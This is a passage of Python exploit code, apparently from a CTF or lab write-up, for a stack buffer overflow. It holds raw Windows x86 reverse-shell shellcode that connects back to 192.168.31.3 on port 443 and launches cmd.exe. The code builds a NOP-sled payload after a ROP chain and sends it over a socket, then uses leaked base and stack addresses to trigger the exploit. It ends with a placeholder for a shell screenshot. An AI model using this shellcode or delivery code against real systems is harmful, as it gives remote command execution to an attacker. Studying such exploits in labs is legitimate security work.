shellcode = b'\x89\xe5\x81\xc4\xf0\xf9\xff\xff\xeb\x06^\x89u\x04\xebN\xe8\xf5\xff\xff\xff`1\xc9d\x8bq0\x8bv\x0c\x8bv\x1cV\x8b^\x08\x0f\xb6F\x1e\x89E\xf8\x8bC<\x8b|\x03x\x01\xdf\x8bO\x18\x8bG \x01\xd8\x89E\xfc\xe3\x1dI\x8bE\xfc\x8b4\x88\x01\xde1\xc0\x8bU\xf8\xfc\xac\x84\xc0t\x0e\xc1\xca\x02\x01\xc2\xeb\xf4\xeb)^\x8b6\xeb\xbd;T$(u\xd6\x8bW$\x01\xdaf\x8b\x0cJ\x8bW\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89D$ ^aYZQ\xff\xe0\xb8\xb4\xb3\xff\xfe\xf7\xd8Ph32.DhWS2_Thhz\xc4v\xffU\x04\x89\xe01\xc9f\xb9\x90\x05)\xc8P1\xc0f\xb8\x02\x02Ph\x96 \x9e\xcc\xffU\x041\xc0PPP\xb0\x06P,\x05P@Phf ^\x81\xffU\x04\x89\xc61\xc0PPh\xc0\xa8\x1f\x03f\xb8\x01\xbb\xc1\xe0\x10f\x83\xc0\x02PT_1\xc0PPPP\x04\x10PWVh\x95 ^W\xffU\x04VVV1\xc0\x8dH\rP\xe2\xfd\xb0DPT_f\xc7G,\x01\x01\xb8\x9b\x87\x9a\xff\xf7\xd8Phcmd.\x89\xe3\x89\xe01\xc9f\xb9\x90\x03)\xc8PW1\xc0PPP@PHPPSPh\xc7(\xaa\x0b\xffU\x041\xc9Qj\xffh\xd2U\xa9.\xffU\x04'
offsetOfshellcode = b"\x90" * (0x200 + 0x30 + 0x20 - len(ropbuf))
bufferOF += offsetOfshellcode + shellcode
bufferOF += b"Z" * (bufferSize - len(bufferOF))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(bufferOF)
print("[+] venom buffer send")
s.close()
addressBuf = getAddressBuffer()
baseAddress = getBaseAddressFromBuf(addressBuf)
stackAddress = getStackAddressFromBuf(addressBuf)
exploit(baseAddress, stackAddress)
- shell截图